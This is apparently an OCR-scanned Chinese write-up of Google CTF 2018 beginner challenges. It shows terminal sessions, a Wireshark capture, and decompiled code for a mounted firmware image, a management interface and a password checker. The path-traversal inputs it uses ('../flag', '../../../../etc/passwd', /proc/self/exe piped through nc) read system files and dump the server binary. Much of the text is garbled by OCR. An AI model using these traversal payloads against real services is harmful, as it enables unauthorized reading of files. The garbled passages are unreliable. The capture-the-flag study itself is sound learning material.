https://storage.googleapis.com/gctf-2018-attachments/9522120f36028c8ab86a37394903b100ce90b81830cee9357113c54fd3fc84bf

=> C(CTF 1s

bin boot dev etc home 1lib 1ib64 lost+found media mnt opt proc root run
# EBRXEFEELs -alfREER. X

=> C(CTF 1s -al

total 44

drwxr-xr-x 22 root root 1024 Jun 22 06:54 .

cqq cqq 4096 Jul 6 00:13 ..

root root 40 Jun 22 06:54 .mediapc_backdoor_password.gz
root root 3072 Jun 22 06:54 bin

root root 1024 Jun 22 ©6:54 boot

drwxr-xr-x root root 1024 Jun 22 06:54 dev

drwxr-xr-x 52 root root 4096 Jun 22 06:54 etc

drwxr-xr-x 2 root root 1024 Jun 22 ©6:54 home

drwxr-xr-x 12 root root 1024 Jun 22 06:54 lib

drwxr-xr-x 2 root root 1024 Jun 22 06:54 lib64

drwxrwxr-x
-PW-r--r--
drwxr-xr-x

drwxr-xr-x

A MNP W

drwx------ 2 root root 12288 Jun 22 06:51 lost+found
drwxr-xr-x 2 root root 1024 Jun 22 06:54 media
drwxr-xr-x 2 root root 1024 Jun 22 06:54 mnt
drwxr-xr-x 2 root root 1024 Jun 22 06:54 opt
drwxr-xr-x 2 root root 1024 Jun 22 ©6:54 proc
drwx------ 2 root root 1024 Jun 22 06:54 root
drwxr-xr-x 4 root root 1024 Jun 22 06:54 run
drwxr-xr-x 2 root root 3072 Jun 22 ©6:54 sbin
drwxr-xr-x 2 root root 1024 Jun 22 06:54 srv
drwxr-xr-x 2 root root 1024 Jun 22 06:54 sys
drwxr-xr-x 2 root root 1024 Jun 22 06:54 tmp

drwxr-xr-x 10 root root 1024 Jun 22 06:54 usr
drwxr-xr-x 9 root root 1024 Jun 22 06:54 var
=> CTF file .mediapc_backdoor_password.gz

sbin

srv

sys

tm

.mediapc_backdoor_password.gz: gzip compressed data, last modified: Fri Jun 22 13:54:27 2018, from Unix

=> CTF gunzip .mediapc_backdoor_password.gz

gzip: .mediapc_backdoor_password: Permission denied

=» CTF sudo gunzip .mediapc_backdoor_password.gz

= CTF 1s

bin boot dev etc home 1lib 1ib64 lost+found media mnt opt proc root run
= C(CTF 1ls -al

total 44

drwxr-xr-x 22 root root 1024 Jul 6 00:19 .

cqq cqq 4096 Jul 6 00:13 ..

root root 20 Jun 22 06:54 .mediapc_backdoor_password
root root 3072 Jun 22 06:54 bin

root root 1024 Jun 22 06:54 boot

drwxr-xr-x root root 1024 Jun 22 06:54 dev

drwxr-xr-x 52 root root 4096 Jun 22 06:54 etc

drwxr-xr-x 2 root root 1024 Jun 22 06:54 home

drwxr-xr-x 12 root root 1024 Jun 22 06:54 1lib

drwxr-xr-x 2 root root 1024 Jun 22 06:54 1lib64

drwxrwxr-x
-PW-P--r--
drwxr-xr-x
drwxr-xr-x

A NN P W

drwx------ 2 root root 12288 Jun 22 06:51 lost+found
drwxr-xr-x 2 root root 1024 Jun 22 06:54 media
drwxr-xr-x 2 root root 1024 Jun 22 06:54 mnt
drwxr-xr-x 2 root root 1024 Jun 22 06:54 opt
drwxr-xr-x 2 root root 1024 Jun 22 06:54 proc
drwx------ 2 root root 1024 Jun 22 06:54 root
drwxr-xr-x 4 root root 1024 Jun 22 06:54 run
drwxr-xr-x 2 root root 3072 Jun 22 06:54 sbin
drwxr-xr-x 2 root root 1024 Jun 22 06:54 srv
drwxr-xr-x 2 root root 1024 Jun 22 06:54 sys
drwxr-xr-x 2 root root 1024 Jun 22 06:54 tmp

drwxr-xr-x 10 root root 1024 Jun 22 06:54 usr
drwxr-xr-x 9 root root 1024 Jun 22 06:54 var

sbin

srv

sys

tm



=> CTF file .mediapc_backdoor_password
.mediapc_backdoor_password: ASCII text
=> CTF cat .mediapc_backdoor_password
CTF{I_kn@W_tH15 Fs}

FISE 2 Ja R, 8 4 2 ]

=» tmp sudo umount “pwd /CTF

Admin Ul 1
TE— AL FnciE .

$ nc -v mngmnt-iface.ctfcompetition.com 1337

1E 5 — A& i Af B tsharkf# B 7 3R 18 2% R 3K F mngmnt-iface. ctfcompetition.com SHIRE, ¥4 RIEF R pcap i,
% J5 Sewireshark 1. iFHERIZRS % https://wiki.wireshark.org/CaptureFilters

$ tshark -i en® -f "host mngmnt-iface.ctfcompetition.com” -w admin_UI.pcap [20:02:51]
Capturing on 'Wi-Fi'
44 ~C

SERRZ JE T FFwireshark &5 5 45 3 .

[ NON ) Wireshark - Follow TCP Stream (tcp.stream eq 0) - admin_UlI

=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version@.3
- Version@.2
Which patchnotes should be shown?
Version@.2
# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
— Improved the UX
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version@.3
- Version@.2
Which patchnotes should be shown?
../flag
CTF{I_1luv_buggy_ sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2


https://wiki.wireshark.org/CaptureFilters

The following patchnotes were found:
- Version@.3
- Version@.2
Which patchnotes should be shown?
eo/ou/oo/ o fetc/passwd
root:x:0:0:root:/root:/bin/bash

Packet 20. 7 client pkt(s), 14 server pkt(s), 13 turn(s). Click to select.

Entire conversation (2,070 bytes) Show dataas ASCII Stream 0

Help Hide this stream Print Save as... Close

CTF{I_luv_buggy sOFtware}
XBEZUER .. /flag, RE—-FEFKfag> M, MARAER, REANERKERTUEN, EmainkBHHB T —
AN opendir() H%L,

43 gtrncpy(buffer, "patchnotes/", 0x10CuLL):

24 dir = gpendiri-patchnotes/");

45 if ( dir )

46

47 puts("The following patchnotes were found:");
4B while { 1 )

49 {

50 current = readdir({dir);

51 if ( current == QLL )

52 break;

53 stroncpy({&buffer[1l], current->d name, 0x100uLL);
54 if ( (unsigned int)stat_O(buffer, &fstats) == =1 )
55 {

56 printf(" - stat failed for %s\n", buffer);
57

58 else if ( fstats.st_mode & OxBOOO )

59

60 printf(" - %s\n", current->d name);

61

62 }

63 closedir(dir);

G4 }

65 else

13 {

67 puts("No patchnotes foundl");

68

69 puts( "Which patchnotes should be shown?");

70 scanf("%2558", &buffer[11]);

71 fd = open(buffer, 0);

£t N\ Flpatchnotes H 3%, FrBAZ HR—A ..

3 4hE Blliveoverflow I L5 F GoogleCTF2017 IR, BRIXANELERARML, (ERBAUEE—L, F LIS T proc 74, #FHAR
feidiT /proc/self/cmdline LL& /proc/self/environ SRIZE L FIFEN AT EENREZEELE, WHBNMHB T —AH0R
R, BRR /dev/fd & /proc/self/fd KIHES,

root@kali:/home/cqq/CTF# 11 /dev/fd
lrwxrwxrwx 1 root root 13 Jul 8 14:40 /dev/fd -> /proc/self/fd/

aJ LA AR /dev/fd/. . /cmdline SRARE .

Management Interface

1) Service access
2) Read EULA/patch notes

3) Quit
2



https://www.youtube.com/watch?v=0TPXvpaiYWc

1) Service access
2) Read EULA/patch

3) tQuij; https:

-v mngmnt-iface.ctfcompetition.com 1337
[20:08:58]
found 0 associations
found 1 connections:
1: flags=82<CONNECTED, PREFERRED>

outif eno

src 192.168.1.10 port 54526

dst 35.195.49.31 port 13357

rank info not available

TCP aux info available

Connection to mngmnt-iface.ctfcompetition.com port 1337 [tcp/menandmice-dns] succeeded!
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Versiono.3
- Versiono.2
Which patchnotes should be shown?
../flLag
CTF{I_Luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
./../../../proc/self /cmdline
Invalid choice
2
The following patchnotes were found:
- Version0.3
- Versiono.2
Which patchnotes should be shown?
oSS S S /proc/self /emdLline

./main=== Management Interface ===

2) Read EULA/patch notes

3) Quit
2
The following patchnotes were found:
- Versiono.3

- Versiono.?2
Which patchnotes should be shown?
../main

ELF>PAAAGX4RS
@H"”@eeRROppEPLER

GGG GGaAGa€@@DDP@IMMAAMAALIQERIRPIUaA®ar /Lib64/Ld-Linux-x86-64.50.20
NU GNUGEepH €EE €060 © € € U0 € O H | G €H06601U 66660

fhf}aa(%ai}aaLibstdc++.50.6__3mon_5tart__Libm.50.6Lib3cc_5.50.1Libc.so.6fFLushexit




B -

BEAR AT LB SO, FEARR W LA AT AR, 7T CLRI S,
FE SRS — K IF A RE, EREE R,

cqq@kali:~/CTF$ echo -e "2\n../../../../proc/self/exe"|nc mngmnt-iface.ctfcompetition.com 1337 > main.
~C

cqq@kali:~/CTF$ sha256sum main.dump2
06dd4bbfdlbecf91398d7305dfe473537d1f33fb64e2b32978ad202832cc148c main.dump2
cqq@kali:~/CTF$ sha256sum main.dump
06dd4bbfdlbecf91398d7305dfe473537d1f33fb64e2b32978ad202832cc148c main.dump

# JefileFE—T, filedFRASHREENCMHHER, AR VRdata

cqq@kali:~/CTF$ file main.dump

main.dump: data

# MJ5hexdump -CEE—F, RIERIHJUITIERASCIIESR .

cqq@kali:~/CTF$ hexdump -C main.dump|head -10@

00000000 3d 3d 3d 20 4d 61 6e 61 67 65 6d 65 6e 74 20 49 |=== Management I|
00000010 6e 74 65 72 66 61 63 65 20 3d 3d 3d @a 20 31 29 |nterface ===. 1)|
00000020 20 53 65 72 76 69 63 65 20 61 63 63 65 73 73 @a | Service access. |
00000030 20 32 29 20 52 65 61 64 20 45 55 4c 41 2f 70 61 | 2) Read EULA/pal|
00000040 74 63 68 20 6e 6f 74 65 73 @a 20 33 29 20 51 75 |tch notes. 3) Qu|
00000050 69 74 @a 54 68 65 20 66 6f 6¢c 6¢c 6f 77 69 6e 67 |it.The following]|
00000060 20 70 61 74 63 68 6e 6f 74 65 73 20 77 65 72 65 | patchnotes were|
00000070 20 66 6T 75 6e 64 3a @a 20 2d 20 56 65 72 73 69 | found:. - Versi|
00000080 6f 6e 30 2e 33 @a 20 2d 20 56 65 72 73 69 6f 6e |on@.3. - Version|
00000090 30 2e 32 Qa 57 68 69 63 68 20 70 61 74 63 68 6e |0.2.Which patchn]|
# BARBIIA —BASCIIFRF, HREbinwalki®RIRA T ERELFk.

cqq@kali:~/CTF$ binwalk main.dump

DECIMAL HEXADECIMAL DESCRIPTION

182 OxB6 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
98174 Ox17F7E Unix path: /usr/include/x86_64-1inux-gnu/c++/7/bits



=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
The following patchnotes were found:
- Versiono.3
- Versiono.2
Which patchnotes should be shown?
ELF >
e % e e e
p @

AA
a]
5]

Patd
Qatd
Ratd aj
/Lib64/Ld-Linux-x86-64.50.2
CNU ¢

“main.dump” [readonly][converted] 267L, 113908C

R 5 AT LA SCA G5 4845 S5 M R 1 I T LAT o
RIEMR—NELFXXHET .

# file main.dump
main.dump: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/



HEEHEH /dev/fd/ . ./exe B /proc/self/exe A H £ B2 I Al $447 3CHF o

# LL /dev/fd/../exe
Lrwxrwxrwx 1 root root 0 JuL 9 18:13 /dev/fd/../exe -> /bin/Ls*

LL /proc/self /exe
Lrwxrwxrwx 1 root root 0 juL 9 18:13 /proc/self/exe <> yboin/Ls*

SRJE AT AFE R Mkali T 3T T .

# chmod +x main.dump
; g LL

total 336K
drwxr-xr-x
drwxr-xr-x
-rW-r--r--
-rW-r--r--
-rW-r--r--
-rW-r--r--
-rW-r--r--
-rW-r--r--
drwxr-xr-x
-rW-r--r--
-PWXIP - X=X
-rW-r--r--
-rW-r--r--
-rW-r--r--
-rW-r--r--
-rW-r--r--
-rW-r--r--

20:45 ./

20:45 ../

20:01 admin_UI.pcap
01:27

00:10 cqq.txt
02:25

20:35 flag.txt
19:53 foo.ico
19:59

00:14 hash.txt
20:45 main.dump*
01:39

01:39
2%3:36 passwordil.txt

23:36 password.txt

cqq cqq 4.0K Jul
cqq cqq 4.0K Jul
root root 14K Jul
cqq cqq 1.1K Jul
cqq <qq 122 Jul
cqq cqq 312 Jul
root root 200 Jul
cqq cqq 1.4K Jul
cqq cqq 4.0K Jul
cqq <qq 172 Jul
root root 100K Jul
cqq cqq 3.4K Jul
cqq cqq 139K Jul
cqq <qq 16 Jul
cqq <qq 16 Jul
cqq <qq 12K Jul 23:37
cqq c<qq 234 Jul 15:47
g ./main.dump
== Management Interface ===
1) Service access

PR R R R R RRORRRRERRER RO
1111 91 00 Oy~ b~ OO Oy Oy O1 OO OO OO

I netstat -plnt ZIEREA MU EFEIHO.
GateKeeper
3| 3, HEIDA Pro 64, BRI FERALEBEFELFT —T.

=}
ot

__cdecl main(int argc, const char **argv, const char **envp)

el

int result; // eax

size t vé4; // rax

char s; // [rsp+l10h] [rbp-A0h]
char vé6; // [rsp+9Fh] [rbp-11h]
char *dest; // [rsp+A0h] [rbp-10h]
size t i; // [rsp+A8h] [rbp-8h]

text_animation("/ \M\A\n"
" Gatekeeper - Access your PC from everywherel [\n"
F\n");

el el
WhHRowo~SoOVUEWN

if ( argec == 3 )



14
115 text_animation(" ~> Verifying.");
116 verify animation(3u);
117

18
119
120
121
122

23

124
125
126

27
128
129

30
131
132

133

1 34 text animation((unsigned __ int8 *)&s);

35 }

36 else

37 {

1 38 text_animation("ACCESS DENIED\n");

1 39 text_animation(" ~> Incorrect password\n");
40 }

141 result = 0;

42 }

43 else

44 {

145 putchar(10);

1 46 text_animation("ACCESS DENIED\n");

147 text_animation(" ~> Incorrect username\n");
REE 2B AL

# zL11ks_dam_Teg I {8]/F 4T ENHiREP W],
7] LA F pythonf str[::-1] BIWA]

“zLLiks_d4m_Tog_I"[::-1]

"1_goTlim4dlsk1LEZ"

B echo "zLllks_d4m_Teg I"|rev
verify_animation() 1 text_animation() #FR—/EHIHIFT ENEREL.

__int64 __ fastcall verify gnimation(unsigned int al)

__int64 result; // rax

char v2; // [rsp+10h] [rbp-10h]

char v3; // [rsp+l1lh] [rbp-Fh]

char v4; // [rsp+12h] [rbp-Eh]

char v5; // [rsp+13h] [rbp-Dh]
unsigned int k; // [rsp+l4h] [rbp-Ch]
int j; // [rsp+18h] [rbp-8h]

unsigned int i; // [rsp+lCh] [rbp-4h]

v2=l/l;

v = '-";

vd = "\\';

vs = "]";

for (1 = 0; ; ++i )

{

result = 1i;
if (1 >= al )
break;
for ( 1 =0; 7 <= 2; ++7 )
I

NNRRBERRERRERERERREE
RFowoo~TooUbkWNROWVWODIC"UO & W

2
(%]



- 1

23 for ( k = 0; k <= 3; ++k )
24 {

25 putchar(*(&v2 + (signed int)k));
26 putchar('\b');

27 fflush(OLL);

28 usleep(100000u);

29 }

30 }

31 putchar('.');

32

33 return result;

34}

https://github.com/google/google-ctf/tree/master/2018/beginners
Hacking Livestream #57: Google CTF 2018 Beginners Quest
i f# FIDOSBoxiz T 12 5

https://ctftime.org/writeup/10296
https://ctftime.org/writeup/10284


https://github.com/google/google-ctf/tree/master/2018/beginners
https://www.youtube.com/watch?v=qDYwcIf0LZw
https://jingyan.baidu.com/article/9f63fb917e3beac8410f0e58.html
https://ctftime.org/writeup/10296
https://ctftime.org/writeup/10284

	Google CTF 2018部分学习
	misc-floppy
	CTF{qeY80sU6Ktko8BJW}

	letter
	通过系统的预览app打开之后的格式
	通过chrome浏览器打开之后的格式

	moar
	Security by obscurity
	firmware
	Admin UI 1
	题外：

	GateKeeper
	参考


